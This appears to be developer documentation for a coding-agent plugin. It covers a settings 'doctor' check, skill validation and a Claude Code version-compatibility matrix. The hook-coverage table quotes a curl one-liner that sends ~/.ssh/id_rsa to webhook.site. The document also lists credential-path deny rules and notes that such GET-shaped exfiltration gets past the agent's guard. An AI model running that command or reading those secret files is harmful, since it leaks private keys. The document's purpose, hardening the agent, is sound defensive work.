**Do NOT re-home the whole old block.** Several of its keys were wrong or harmful.
`CLAUDE_CODE_SUBPROCESS_ENV_SCRUB=1` forces permission mode back to `default`,
defeating `--dangerously-skip-permissions`, `--permission-mode`, and agent-frontmatter
`permissionMode`. `CLAUDE_CODE_SESSIONEND_HOOKS_TIMEOUT_MS=8000` would cut ork's own
30s-derived SessionEnd budget. `ORCHESTKIT_LOG_LEVEL=warn` short-circuits `/debug`
escalation. `CLAUDE_CODE_NO_FLICKER=1` fights an explicit `tui: "default"`.
Only the groups below are worth recommending.

## What the check looks for

| # | Finding | Why it matters | Hook coverage at HEAD |
|---|---------|----------------|-----------------------|
| 1 | No credential-read `permissions.deny` rules | `Read(~/.ssh/**)` and friends are a second layer between an agent and a private key | **HOOK COVERAGE EXISTS** since 2026-08-16. Re-measured at `c429c0233`: the `Read` matcher in `hooks.json` carries `pretool/read/credential-read-guard` FIRST, then `pretool/read/tldr-summary` and `lifecycle/webhook-forwarder`. The guard DENIES `~/.ssh/**`, `~/.gnupg/**`, `~/.aws/credentials`, `~/.netrc`, `~/.npmrc`, matching both the lexical path and the realpath, case-folded for APFS. It covers the `Read` TOOL only, so a `cat ~/.ssh/id_rsa` through Bash is still the `sync-bash-dispatcher` lane. Deny rules remain worth having as defence in depth, not as the only thing |
| 2 | No `sandbox` block | OS-level Bash isolation plus the exfil-domain denylist | **PARTIAL.** `pretool/bash/network-egress-guard` returns `ask` on the *upload* shape, but a plain `curl -s https://pastebin.com/raw/…`, and even `curl -s https://webhook.site/x?d=$(cat ~/.ssh/id_rsa)`, ABSTAIN. Prompt is not block, and GET-shaped exfil walks straight through |
| 3 | `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS` in no settings file | ork's own `src/hooks/src/lib/agent-teams.ts:28` gates `isAgentTeamsActive()` on `=== '1'`. Without it, team mode degrades silently: no error, no log line | N/A, a hook cannot set its own env |

Findings 4 and 5 are *offers*, not defects. `ENABLE_TOOL_SEARCH` and
`CLAUDE_CODE_PLUGIN_KEEP_MARKETPLACE_ON_FAILURE` are real, useful, and entirely
optional. Report them at info level and never fail on them.

A sixth offer, same posture (#3325, EPIC D): `autoCompactWindow` in user-scope
settings. CC 2.1.219+ accepts an integer 100000..1000000 ("Auto-compact window
size", verified in the 2.1.227 binary schema) that arms CC's NATIVE precomputed
compaction at the chosen context size. This is the CC-native mechanism the old
four-hook compaction layer approximated with home-grown token accounting, and
the reason parts of that layer were deleted (#3321: the imminent-zone gate
never fired in 2,246 recorded invocations because its counter measured a
subset of context against a whole-window threshold). ork cannot ship it as a
plugin default — a plugin settings.json is not a settings scope CC reads
(binary-proven at 2.1.226, see the header of this file) — so the doctor
OFFERS it and never sets it. Report at info level when absent; never fail on
it.

A seventh offer (#3324): `CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH` pinned to `3`
in the operator's own settings. CC 2.1.219 restored nested subagent spawning's
own default from 1 to 3 (it had been disabled by default since 2.1.217),
converging exactly with the depth-3 ceiling `chain-patterns/SKILL.md`
Pattern 9 already recommends in prose. Pinning the var explicitly makes that
convergence portable and mechanical — CC withholds the `Agent` tool once the
pinned depth is hit, instead of the budget depending on the model reading
Pattern 9's guidance (still the only enforcement while `parent_agent_id`
stays unexposed at SubagentStart). It is an offer, not a gap: the CC default
already matches ork's convention, so an absent pin degrades to "guidance
only," not "unbounded." ork cannot ship the pin itself — a plugin
settings.json is not a settings scope CC reads (binary-proven at 2.1.226, see
the header of this file) — so the doctor OFFERS it and never sets it. Report
at info level when absent; never fail on it.

## The check

Read-only. Never prints an environment variable's **value** (presence is tested with
`[ -n "$\{VAR+x\}" ]`), and never writes a settings file.

```bash
U="$HOME/.claude/settings.json";  UL="$HOME/.claude/settings.local.json"
P=".claude/settings.json";        PL=".claude/settings.local.json"

# jq over an OPTIONAL file. The `-f` test is the guard, so neither `2>/dev/null`
# nor `|| true` is needed or wanted.
key() { if [ -f "$1" ]; then jq -r "$2 // empty" "$1"; fi; }

# First non-empty across the four real scopes; local and project win over user.
first() {
  for f in "$PL" "$P" "$UL" "$U"; do
    v="$(key "$f" "$1")"
    if [ -n "$v" ]; then printf '%s' "$v"; return; fi
  done
}

# 1. credential-read deny rules, counted across every scope.
#    awk 'END{print n+0}' rather than `grep -c … || true`: a grep over a
#    possibly-missing file returns non-zero even when it matched, and a
#    trailing `||` on that inverts the verdict.
#    `.permissions.deny // []` BEFORE the `[]`: a file carrying `permissions`
#    with no `deny` key yields null, and `.permissions.deny[]` fails on it with
#    "Cannot iterate over null" and rc=5. Measured against a real
#    ~/.claude/settings.local.json on 2026-08-09. Guarding after the iteration
#    is too late — the alternative never runs.
cred_deny="$(
  for f in "$PL" "$P" "$UL" "$U"; do key "$f" '.permissions.deny // [] | .[]'; done \
  | awk '/\.ssh|\.aws|\.gnupg|\.netrc|\.npmrc/ { n++ } END { print n+0 }'
)"

# 2. sandbox posture. Check 15 reads settings.local.json only; this reads all four.
sandbox="$(first '.sandbox.enabled')"
# `length` must NOT be taken before the null test. `first` stops at the first
# NON-EMPTY answer, and `null | length` is 0 — a non-empty string. So the first
# scope-file that merely EXISTS without a sandbox block (settings.local.json,
# on nearly every machine) shadows the user scope and pins this to 0 forever:
# the finding could never report the healthy state. Verified 2026-08-09 against
# a fixture declaring 2 denied domains, which the pre-fix filter read as 0.
# A DECLARED empty array must still report 0, so only null may map to empty.
denied_domains="$(first '.sandbox.network.deniedDomains | if . == null then empty else length end')"

# 3-6. env keys: settings-declared vs merely live in this shell.
for v in CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS ENABLE_TOOL_SEARCH \
         CLAUDE_CODE_PLUGIN_KEEP_MARKETPLACE_ON_FAILURE \
         CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH; do
  in_settings="no"; if [ -n "$(first ".env.$v")" ]; then in_settings="yes"; fi
  in_env="no";      if [ -n "${!v+x}" ];              then in_env="yes";      fi
  printf '%s settings=%s shell=%s\n' "$v" "$in_settings" "$in_env"
done
```

`settings=no shell=yes` is its own finding, not a pass. The variable survives only as
long as that shell profile does: it is absent from a GUI launch, from any other
machine, and for every other user of the same repo.

## Example output, FAILING (what a typical machine prints today)

Measured on the operator's real machine, 2026-08-09, CC 2.1.226. `~/.claude/settings.json`
carries 20 top-level keys and `permissions.deny` holds 5 entries, all five of them MCP
tool names (`mcp__hq-channels__whatsapp_send_image`, `…_send_audio`, `…_send_document`,
`…_logout_session`, `…_email_send`). Not one is a credential-read rule.

```
+-- Check 16: Operator Settings Posture ----------------------------------+
| ❌ permissions.deny  0 credential-read rules across 4 scopes             |
|    Read tool IS hook-covered; deny rules add depth. Bash lane differs. |
| ❌ sandbox          absent from user AND local settings                  |
|    deniedDomains: 0, so GET-shaped exfil is unguarded.                   |
| ⚠️ AGENT_TEAMS      settings=no  shell=yes                               |
|    Live via ~/.zshrc only. Non-portable: team mode is silently degraded  |
|    on every other machine and for every other user of this repo.         |
| ℹ️ TOOL_SEARCH      settings=no  shell=no   (optional tuning)            |
| ℹ️ KEEP_MARKETPLACE settings=no  shell=no   (optional resilience)        |
| ℹ️ SPAWN_DEPTH      settings=no  shell=no   (CC default already 3)       |
+-------------------------------------------------------------------------+
| Status: WARN (2 gaps, 1 non-portable, 3 offers)                          |
| Fix: ork:configure skill, section "Operator-Scope Settings", or paste    |
|      configure/references/operator-scope-settings.md (stage 1 first).    |
+-------------------------------------------------------------------------+
```

## Example output, PASSING

```
+-- Check 16: Operator Settings Posture ----------------------------------+
| ✅ permissions.deny  5 credential-read rules (user scope)                |
| ✅ sandbox          enabled, deniedDomains: 18, credentials.files: 5     |
| ✅ AGENT_TEAMS      settings=yes (user scope), portable                  |
| ℹ️ TOOL_SEARCH      settings=yes                                         |
| ℹ️ KEEP_MARKETPLACE settings=no  (optional, declined)                    |
| ℹ️ SPAWN_DEPTH      settings=yes (user scope, pinned to 3)               |
+-------------------------------------------------------------------------+
| Status: PASS                                                             |
+-------------------------------------------------------------------------+
```

## Reporting rules

- Findings 1 and 2 are **warn**. They are genuine missing protection, and the hook
  layer demonstrably does not cover them.
- Finding 3 is **warn** whenever `settings=no`, regardless of `shell`. A shell-only
  value is a machine-local accident, not configuration.
- Findings 4-6 are **info**, always. Never fail a run on them.
- Every warn prints the exact JSON to paste and the scope to paste it into. Doctor
  diagnoses AND prescribes; it does not just list.

## Honest limits, STATE THESE IN THE OUTPUT, do not hide them

- **Doctor cannot see managed settings.** An enterprise managed profile may already
  supply all of this and doctor would still report it missing. Say "not visible in
  user/project/local scope", never "not set".
- **`permissions.deny` is a permission-layer control, not containment.** It stops the
  `Read` tool. It does not stop a Bash subprocess from reading the same file. That is
  what the `sandbox` block is for, and it is why finding 2 is not redundant with
  finding 1.
- **`sandbox` is Bash-only.** Read/Write tools, MCP servers, and hooks run unsandboxed
  on the host. See Check 15 for the full caveat list; this check adds the
  `network.deniedDomains` and `credentials.files` dimensions that Check 15 never reads.
- **Check 15 and Check 16 overlap on purpose and can disagree by scope.** Check 15
  reads `settings.local.json` only; Check 16 reads all four. If they disagree, the
  block is set in a scope Check 15 does not look at.
- **No runtime API.** Settings files are the only signal. A session sandboxed via a CLI
  flag with no settings key reads here as "absent".
- **Hook-coverage claims in this file are dated.** They were measured against
  `src/hooks/bin/run-hook.mjs` on 2026-08-09 with `rm -rf /` as a passing control.
  Re-run the probes before citing them: an unregistered hook key returns
  `\{"continue":true\}` with no decision, which reads exactly like an allow.


### Skills Validation

# Skills Validation

## Overview

OrchestKit includes 106 skills validated against frontmatter requirements and content standards.

## Skill Types

| Type | Count | Frontmatter |
|------|-------|-------------|
| User-invocable | 32 | `user-invocable: true` |
| Internal | 81 | `user-invocable: false` |

## Validation Checks

### 1. Frontmatter Fields

Required fields:
- `name` - Skill identifier
- `description` - Brief description with triggers
- `user-invocable` - Boolean for command availability

Optional fields:
- `context` - fork (recommended), inherit
- `agent` - Associated agent name
- `tags` - Keywords for discovery
- `version` - Semver version
- `allowedTools` - Tool whitelist

### 2. Token Budget

Skills must stay within token limits:
- Minimum: 300 tokens
- Maximum: 5000 tokens

```bash
# Check skill size
wc -c src/skills/*/SKILL.md | sort -n
```

### 3. Reference Links

All internal links must resolve:

```bash
# Check for broken references
for skill in src/skills/*/SKILL.md; do
  grep -o 'references/[^)]*' "$skill" | while read ref; do
    dir=$(dirname "$skill")
    [ -f "$dir/$ref" ] || echo "Broken: $skill -> $ref"
  done
done
```

### 4. Related Skills

All skills in "Related Skills" section must exist:

```bash
# Validate related skill references
grep -h "^- " src/skills/*/SKILL.md | grep -v "http" | \
  sed 's/.*`\([^`]*\)`.*/\1/' | sort -u
```

## Quick Validation

```bash
# Run full skill validation
npm run test:skills

# Or directly
./tests/skills/structure/test-skill-md.sh
```

## Common Issues

### Missing frontmatter

```yaml
---
name: my-skill
description: Does something useful
user-invocable: false
---
```

### Token budget exceeded

Split into SKILL.md + references/ directory.

### Broken reference link

Ensure file exists at `references/filename.md`.


### Version Compatibility

# CC Version Compatibility Matrix

## Overview

OrchestKit requires Claude Code >= 2.1.251. This matrix documents which CC features OrchestKit depends on and their minimum version requirements.

## Experimental skills

Skills that depend on a Claude Code Research Preview feature are marked with an
`experimental:` frontmatter block declaring the reason, expected GA window, and
exit criteria. Doctor should compute this list dynamically by scanning
`src/skills/*/SKILL.md` for frontmatter containing `experimental:` and report
any skills whose `exit-criteria` is missing or empty as a warning.

Current experimental skills (M139, snapshot — verify via dynamic scan):

_None._ `ork:agents-view` was removed in favor of the native `claude agents`
CLI (CC 2.1.139+) plus the parallel-primitives doc at
`docs/parallel-primitives.md`.

When a future skill depends on an unreleased CC feature, add it to this table
with its `exit-criteria` so doctor can warn about Research Preview surface
area. Remove the entry once the underlying CLI feature reaches GA and the
skill is no longer marked `experimental:` in its frontmatter.

## Feature Matrix

| Feature | Min CC Version | OrchestKit Usage | Degradation if Missing |
|---------|---------------|-----------------|----------------------|
| `subagent_type` in SubagentStart | 2.1.7 | Agent type detection in all SubagentStart hooks | Hooks fall back to prompt scanning (removed in v6.0) |
| `session_id` guaranteed | 2.1.9 | Session tracking in all hooks | Session-scoped features fail |
| Hook `continue` field | 2.1.7 | All hook responses | Hooks silently ignored |
| Permission rules detection | 2.1.3 | Doctor unreachable rules check | Permission check skipped |
| `sonnet-4-6` model | 2.1.45 | Agent model field in frontmatter | Falls back to older sonnet |
| Plugin hot reload | 2.1.45 | Live plugin updates without restart | Must restart CC after changes |
| `last_assistant_message` | 2.1.47 | Stop/SubagentStop context capture | Missing assistant context |
| `added_dirs` statusline field | 2.1.47 | Multi-directory project support | Single-dir only in statusline |
| Deferred SessionStart (500ms) | 2.1.47 | Hooks fire after env is ready | Race conditions on cold start |
| Agent model in Teams | 2.1.47 | Model field respected in team spawns | Model ignored, uses default |
| Worktree discovery | 2.1.47 | Skills/agents found from worktrees | Worktree sessions miss plugins |
| Background tasks in worktrees | 2.1.47 | Task tool from worktrees | Background agents fail silently |
| Windows hook execution | 2.1.47 | All hooks on Windows | Hooks silently fail on Windows |
| Windows worktree sessions | 2.1.47 | Drive letter casing match | Worktree sessions not matched |
| Improved agent memory | 2.1.47 | Higher context limits | Conservative limits apply |
| `Ctrl+F` find in output | 2.1.47 | Search through session output | No search capability |
| `Shift+Down` multi-line input | 2.1.47 | Multi-line prompt entry | Single-line input only |
| Memory leak fixes (8 leaks) | 2.1.50 | Stable long-running sessions | Memory grows unbounded over time |
| `claude_agents_cli` | 2.1.50 | Doctor agent registration check | Agent registration check skipped |
| ConfigChange hook event | 2.1.50 | Detect mid-session settings changes | Stale config until restart |
| Auto-memory | 2.1.59 | Claude saves learnings across sessions | Manual CLAUDE.md only |
| `@import` in CLAUDE.md | 2.1.59 | Modular instruction files | Single monolithic CLAUDE.md |
| `.claude/rules/` with `paths:` | 2.1.59 | Path-scoped rules per directory | All rules loaded always |
| HTTP hooks (`type: "http"`) | 2.1.63 | Observability hooks POST to remote endpoints | Falls back to command hooks (local JSONL) |
| Worktree config sharing | 2.1.63 | Project configs shared across worktrees | Manual config copy needed |
| `/clear` resets skills | 2.1.63 | Fixes stale skill content after edits | Native since 2.1.63; no workaround needed |
| Teammate memory fix | 2.1.63 | Safe for 5+ teammate swarms | Memory grows in long team sessions |
| `/code-review`, `/batch` built-in | 2.1.63 | Bundled CC slash commands (`/simplify` renamed `/code-review` in 2.1.146) | Not available |
| `ENABLE_CLAUDEAI_MCP_SERVERS` | 2.1.63 | Opt out of claude.ai MCP servers | All claude.ai MCPs always loaded |
| InstructionsLoaded hook event | 2.1.69 | Rules materialization timing, context injection | Rules written too late, stale context |
| `once: true` hooks | 2.1.69 | 13 skill context loaders fire once then auto-remove | Loaders fire every prompt (wasted tokens) |
| `permissionDecision: 'ask'` | 2.1.69 | Gray-zone command escalation to user | Binary allow/deny only |
| `tool_use_id` correlation | 2.1.69 | Pre/PostToolUse pair tracking | No correlation between pre/post |
| `$\{ENV_VAR\}` in HTTP hooks | 2.1.69 | `$TOKEN` in headers works; `$\{VAR\}` in URLs broken since 2.1.71 (validated before expansion) — use `generate-http-hooks` CLI with real URLs instead | Must use command hooks for env vars |
| Path-scoped rules (`paths:`) | 2.1.69 | 10 conditional rules scoped to file paths | All rules always loaded |
| Worktree dedup fixes | 2.1.70 | Prevents duplicate hook fires in worktrees | Hooks may fire twice |
| 74% prompt re-render reduction | 2.1.70 | CC-internal perf (no action needed) | Higher latency on re-renders |
| ~600 token skill listing savings | 2.1.70 | CC-internal (frees headroom for hook injection) | Tighter token budget |
| MCP cache invalidation | 2.1.70 | MCP tools refresh on reconnect | Stale MCP tool definitions |
| `/loop` command | 2.1.71 | Recurring prompts on intervals (deploy watch, health monitor) | Manual re-invocation |
| Cron scheduling tools | 2.1.71 | Session-scoped cron for recurring tasks | No in-session scheduling |
| Expanded bash auto-approval | 2.1.71 | `fmt`, `comm`, `cmp`, `seq`, `printf`, `test`, etc. auto-approved | Manual approval for POSIX utils |
| `/debug` toggle mid-session | 2.1.71 | Toggle debug logging without restart | Must restart to change log level |
| `settings.local.json` uninstall | 2.1.71 | `/plugin uninstall` writes to local settings, not shared | Uninstall modifies committed settings.json |
| `voice:pushToTalk` rebindable | 2.1.71 | Custom keybinding for push-to-talk in voice mode | Fixed keybinding |
| Background agent output path | 2.1.71 | Completion notifications include output file path | Missing output path in notifications |
| Plugin multi-instance fix | 2.1.71 | Concurrent CC instances preserve plugin installs | Plugin state lost with multiple instances |
| ToolSearch cleanup | 2.1.71 | "Tool loaded." message removed from output | Noisy ToolSearch output |
| Plugin marketplace fixes | 2.1.71 | `@ref` parsing and merge conflict resolution | Marketplace update/add failures |
| Skill listing skip on `--resume` | 2.1.71 | ~600 tokens saved on session resume (no re-injection) | Skill listing re-injected on every resume |
| ExitWorktree tool | 2.1.72 | Agents can leave worktree sessions programmatically | Agents stuck in worktree until session ends |
| Agent `model` parameter restored | 2.1.72 | Per-invocation model override via Agent tool | Model override silently ignored |
| Team agents inherit leader model | 2.1.72 | Teammates use leader's model when unspecified | Teammates fall back to default model |
| `/plan` accepts description arg | 2.1.72 | `/plan fix auth bug` starts plan with context | Must type description after `/plan` prompt |
| Effort levels simplified | 2.1.72 | Three levels: low/medium/high (was 5-level) | Five-level effort scale |
| `CLAUDE_CODE_DISABLE_CRON` env var | 2.1.72 | Disable cron scheduling via environment | No way to disable cron |
| Skill hooks double-fire fix | 2.1.72 | Skill-scoped hooks fire exactly once | Skill hooks may fire twice per invocation |
| `/clear` preserves bg agents | 2.1.72 | Background agents survive `/clear` | `/clear` kills background agents |
| Agent prompt persistence fix | 2.1.72 | Agent prompt no longer deleted from settings.json | Agent prompts lost on restart |
| AlwaysAllow rule matching fix | 2.1.72 | Permission rules match commands correctly | AlwaysAllow rules may not match |
| Worktree task resume fixes | 2.1.72 | cwd restore + bg notification metadata on resume | Worktree tasks resume in wrong dir, missing metadata |
| Prompt cache fix | 2.1.72 | Up to 12x token cost reduction via improved caching | Higher token costs from cache misses |
| Expanded bash auto-approval | 2.1.72 | `lsof`, `pgrep`, `tput`, `ss`, `fd`, `fdfind` auto-approved | Manual approval for system inspection tools |
| `vscode://anthropic.claude-code/open` | 2.1.72 | URI handler to open CC from VS Code links | No deep-link integration with VS Code |
| `/output-style` deprecated → `/config` | 2.1.73 | No OrchestKit references to /output-style | None — already using /config |
| Skill-file deadlock fix on `git pull` | 2.1.73 | Fixes hang with 89-skill plugin after `git pull` | CC hangs during/after git pull |
| SessionStart hooks double-fire fix | 2.1.73 | ~15 SessionStart hooks fire exactly once on resume | Hooks fire twice on --resume/--continue |
| No-op system reminder injection fix | 2.1.73 | ~2K tokens/turn recovered across 99 hooks | Empty system-reminder tags waste context |
| Opus 4.6 default on Bedrock/Vertex/Foundry | 2.1.73 | 6 opus-tier agents auto-upgrade on cloud providers | Older Opus model on cloud providers |
| `/context` optimization hints | 2.1.74 | Actionable suggestions for context-heavy tools, memory bloat, capacity | No optimization guidance |
| `autoMemoryDirectory` setting | 2.1.74 | Custom auto-memory storage path via settings.json | Default path only |
| SessionEnd `hook.timeout` respected | 2.1.74 | SessionEnd hooks run to configured timeout (was hardcoded 1.5s) | SessionEnd hooks killed at 1.5s regardless of config |
| `CLAUDE_CODE_SESSIONEND_HOOKS_TIMEOUT_MS` | 2.1.74 | Env var override for SessionEnd hook timeout | No env var control |
| `--plugin-dir` precedence | 2.1.74 | Local dev plugins override marketplace installs | Marketplace takes precedence |
| Full model IDs in agent frontmatter | 2.1.74 | `claude-opus-4-6` etc. accepted (not just `opus`) | Only symbolic names (`opus`, `sonnet`, `haiku`) |
| Managed policy precedence fix | 2.1.74 | Managed policy `ask` overrides user `allow` + `allowed-tools` | User rules could bypass managed policy |
| Streaming + bash prefix memory fixes | 2.1.74 | Two memory leaks fixed (streaming buffers, bash prefix cache) | RSS growth in long sessions |
| 1M context default for Opus 4.6 | 2.1.75 | No extra usage needed on Max/Team/Enterprise | Must opt-in to 1M context |
| Memory file timestamps | 2.1.75 | Last-modified timestamps for memory freshness reasoning | No staleness signal on memories |
| Hook source in permission prompts | 2.1.75 | Shows settings/plugin/skill origin when hook asks for confirmation | Opaque hook origin |
| Token estimation fix | 2.1.75 | Prevents premature compaction from thinking/tool_use over-counting | Compaction triggers too early |
| Async hook messages suppressed | 2.1.75 | Hook completion messages hidden by default (visible with --verbose) | Noisy async hook output |
| MCP elicitation support | 2.1.76 | Servers request structured input mid-task via form/URL dialog | No MCP input dialogs |
| Elicitation/ElicitationResult hooks | 2.1.76 | Intercept and override MCP elicitation requests/responses | No elicitation interception |
| `-n`/`--name` CLI flag | 2.1.76 | Set display name for session at startup | No session naming at launch |
| `worktree.sparsePaths` setting | 2.1.76 | Selective sparse-checkout for large monorepos | Full checkout in worktrees |
| PostCompact hook | 2.1.76 | Fires after compaction completes for context recovery | Only PreCompact (before) exists |
| `/effort` slash command | 2.1.76 | Set model effort level mid-session | No effort control |
| `feedbackSurveyRate` setting | 2.1.76 | Enterprise session quality survey sample rate | No quality feedback loop |
| Deferred tools compaction fix | 2.1.76 | ToolSearch schemas retained after compaction | Array/number params rejected post-compaction |
| Background agent partial results | 2.1.76 | Killed agents preserve partial results in context | Killed agents lose all output |
| Compaction circuit breaker | 2.1.76 | Auto-compaction stops after 3 consecutive failures | Compaction retries indefinitely |
| Stale worktree cleanup | 2.1.76 | Worktrees from interrupted parallel runs auto-cleaned | Stale worktrees accumulate |
| Worktree startup performance | 2.1.76 | Direct ref reads, skip redundant fetch | Slower worktree startup |
| Opus 4.6 64k default output | 2.1.77 | 64k default, 128k upper bound for Opus+Sonnet | 32k output limit |
| `allowRead` sandbox setting | 2.1.77 | Re-allow read access within denyRead regions | No granular read exceptions |
| `claude plugin validate` | 2.1.77 | Official frontmatter + hooks.json validation | Manual/custom validation only |
| SendMessage auto-resume | 2.1.77 | Stopped agents auto-resume on SendMessage | SendMessage returns error for stopped agents |
| Agent `resume` param removed | 2.1.77 | Must use SendMessage(\{to: id\}) to continue agents | Agent(resume=...) silently ignored |
| Background bash 5GB limit | 2.1.77 | Tasks killed at 5GB output to prevent disk fill | Unbounded background output |
| `/fork` renamed to `/branch` | 2.1.77 | `/fork` still works as alias | Only `/fork` available |
| PreToolUse allow/deny fix | 2.1.77 | "allow" no longer bypasses deny rules (security fix) | allow hooks could bypass deny rules |
| Worktree race condition fix | 2.1.77 | Stale cleanup no longer deletes resumed agent worktrees | Race between cleanup and agent resume |
| --resume performance | 2.1.77 | 45% faster loading, ~100-150MB less peak memory | Slower fork-heavy session resume |
| Progress message memory fix | 2.1.77 | Progress messages cleaned up during compaction | Memory growth from accumulated progress messages |
| `StopFailure` hook event | 2.1.78 | Hooks fire on API errors (rate limit, auth failure) | No hook on API errors |
| `$\{CLAUDE_PLUGIN_DATA\}` | 2.1.78 | Plugin persistent state survives plugin updates | State lost on plugin update |
| Agent `effort`/`maxTurns`/`disallowedTools` frontmatter | 2.1.78 | Plugin agents support effort, turn limits, tool restrictions | No agent-level frontmatter controls |
| PreToolUse allow bypass fix | 2.1.78 | "allow" hooks no longer bypass deny permission rules | allow hooks could bypass deny rules |
| `claude plugin validate` enhanced | 2.1.78 | Validates skill, agent, command frontmatter + hooks.json | Basic validation only |
| Worktree skills/hooks loading fix | 2.1.78 | --worktree flag loads skills and hooks from worktree dir | Skills/hooks loaded from original dir |
| `--console` auth flag | 2.1.79 | `claude auth login --console` for API billing auth | Only OAuth/API key auth |
| "Show turn duration" toggle | 2.1.79 | Turn duration visible in /config menu | No turn duration display |
| `/remote-control` (VSCode) | 2.1.79 | Bridge session to claude.ai/code from browser/phone | VSCode-only sessions |
| Multi-dir `PLUGIN_SEED_DIR` | 2.1.79 | Multiple seed dirs separated by platform path delimiter | Single seed directory only |
| `-p` mode Ctrl+C fix | 2.1.79 | Ctrl+C works in print mode | Ctrl+C ignored in -p mode |
| Startup memory reduction | 2.1.79 | ~18MB less memory on startup | Higher startup memory |
| `rate_limits` statusline field | 2.1.80 | Statusline scripts receive rate limit usage (5h/7d windows, `used_percentage`, `resets_at`) | No rate limit visibility |
| `source: 'settings'` marketplace | 2.1.80 | Declare plugin entries inline in settings.json | Marketplace JSON files only |
| CLI tool usage detection for tips | 2.1.80 | Plugin tips detect CLI tool usage, not just file patterns | File pattern matching only |
| `effort` frontmatter for skills | 2.1.80 | Skills declare effort level (low/high) to override model effort | No per-skill effort control |
| `--channels` (research preview) | 2.1.80 | MCP servers push messages into active session | Pull-only MCP communication |
| `--resume` parallel tool fix | 2.1.80 | Sessions with parallel tool calls restore all tool_use/tool_result pairs | `[Tool result missing]` on resume |
| Voice mode WebSocket fix | 2.1.80 | Fixes Cloudflare bot detection on non-browser TLS fingerprints | Voice mode connection failures |
| Fine-grained tool streaming fix | 2.1.80 | Fixes 400 errors through API proxies, Bedrock, or Vertex | Streaming failures on proxied deployments |
| `/effort` shows auto resolution | 2.1.80 | Shows what "auto" resolves to, matching status bar | Opaque auto effort |
| Simplified plugin install tips | 2.1.80 | Single `/plugin install` command instead of two-step flow | Two-step marketplace add + install |
| Startup memory reduction (250k repos) | 2.1.80 | ~80 MB saved on startup in large repositories | Higher startup memory on large repos |
| Managed settings cache fix | 2.1.80 | `enabledPlugins`, `permissions.defaultMode`, policy env vars applied at startup | Stale remote-settings.json from prior session |
| `--bare` flag for `-p` mode | 2.1.81 | Eval pipeline uses `--bare` to skip hooks/LSP/plugin sync for faster scripted grading | Full plugin/hook overhead on every `-p` call |
| `--channels` permission relay | 2.1.81 | Channel servers forward tool approval prompts to phone for long-running agents | Must be at terminal for every permission prompt |
| Plugin freshness re-clone | 2.1.81 | Ref-tracked plugins re-clone on every load for latest upstream | Stale plugins until manual reinstall |
| Background agent task output race fix | 2.1.81 | Background agent output no longer hangs between polling intervals | Task output could hang indefinitely |
| Worktree session resume | 2.1.81 | `--resume` of a worktree session switches back to that worktree | Resumed worktree sessions start in main tree |
| Plugin hooks deleted-dir fix | 2.1.81 | Hooks no longer block prompt submission if plugin directory deleted mid-session | Hook deadlock during `npm run build` |
| Invisible hook attachment fix | 2.1.81 | Hook attachments no longer inflate message count in transcript mode | Inflated session analytics from hook overhead |
| MCP tool call collapse | 2.1.81 | MCP read/search calls collapse to single "Queried \{server\}" line (Ctrl+O to expand) | Verbose MCP tool output |
| `showClearContextOnPlanAccept` | 2.1.81 | Plan mode hides "clear context" by default; restorable via setting | "Clear context" shown on every plan accept |
| Concurrent session re-auth fix | 2.1.81 | Multiple CC sessions no longer require repeated re-authentication | Re-auth when one session refreshes OAuth |
| Dashed-string permission fix | 2.1.81 | Bash commands with dashes in strings no longer trigger false permission prompts | False positives on dashed strings |
| `! bash` mode discoverability | 2.1.81 | Claude suggests `!` prefix for interactive commands automatically | Must know about `!` prefix |
| MCP OAuth CIMD/SEP-991 | 2.1.81 | MCP OAuth supports Client ID Metadata Document for servers without DCR | Limited MCP OAuth compatibility |
| Node.js 18 crash fix | 2.1.81 | Fixed crash on Node.js 18 | Crash on Node.js 18 |
| Windows line-by-line streaming disabled | 2.1.81 | Disabled line-by-line streaming on Windows/WSL due to rendering issues | Rendering glitches on Windows |
| Remote Control fixes (4) | 2.1.81 | Session titles, /rename sync, /exit archiving, first-prompt titles fixed | Generic titles, unreliable archiving |
| Voice mode fixes (2) | 2.1.81 | Retry failure messages and WebSocket recovery fixed | Misleading errors, dropped audio |
| `managed-settings.d/` drop-in directory | 2.1.83 | Separate teams deploy independent policy fragments, merged alphabetically | Single monolithic managed-settings.json |
| `CwdChanged` hook event | 2.1.83 | Reactive hooks on working directory change (direnv-like) | No cwd change detection |
| `FileChanged` hook event | 2.1.83 | Reactive hooks on file changes (cache invalidation, tamper detection) | No file change detection |
| `sandbox.failIfUnavailable` | 2.1.83 | Fail-fast when sandbox unavailable instead of running unsandboxed | Silently falls back to unsandboxed |
| `CLAUDE_CODE_SUBPROCESS_ENV_SCRUB` | 2.1.83 | Strip Anthropic/cloud creds from subprocess environments | Creds inherited by subprocesses |
| Agent `initialPrompt` frontmatter | 2.1.83 | Auto-submit first turn on agent spawn, zero-wasted-turn bootstrap | Agents idle on spawn until first interaction |
| Plugin `userConfig` with `sensitive:true` | 2.1.83 | Plugin config at enable time, keychain storage for sensitive values | Plain env vars for all secrets |
| `TaskOutput` deprecated | 2.1.83 | Use `Read` on background task output file instead | `TaskOutput` still functional but deprecated |
| `--bare -p` 14% faster | 2.1.83 | Faster eval pipeline startup | Slower `--bare` startup |
| Background agent compaction fix | 2.1.83 | Background agents no longer become invisible after compaction | Duplicate agents spawned post-compaction |
| Background agent stuck state fix | 2.1.83 | Background tasks no longer stuck "running" when git/API hangs | Stuck tasks require manual cleanup |
| Uninstalled plugin hooks fix | 2.1.83 | Hooks stop firing immediately after plugin uninstall | Stale hooks fire until next session |
| Transcript search (`/` in Ctrl+O) | 2.1.83 | Search through transcript with n/N stepping | No transcript search |
| Plugin disk cache startup | 2.1.83 | Commands/skills/agents load from cache without re-fetching | Slower startup from disk walks |
| Plugin MCP dedup | 2.1.83 | Plugin MCP servers duplicating org connectors are suppressed | Duplicate MCP connections |
| `TaskCreated` hook event | 2.1.84 | Task initialization tracking, metadata injection, dependency validation | No hook on task creation |
| WorktreeCreate `type: "http"` | 2.1.84 | Return worktree path via `hookSpecificOutput.worktreePath` for API-driven orchestration | Command hooks only |
| `paths:` YAML glob list (skills/rules) | 2.1.84 | Auto-load relevant files when skill activates; 15+ skills use this | Manual Read calls for context |
| `ANTHROPIC_DEFAULT_\{OPUS,SONNET,HAIKU\}_MODEL_SUPPORTS` | 2.1.84 | Override effort/thinking capability detection for Bedrock/Vertex/Foundry | Incorrect capability detection on 3P |
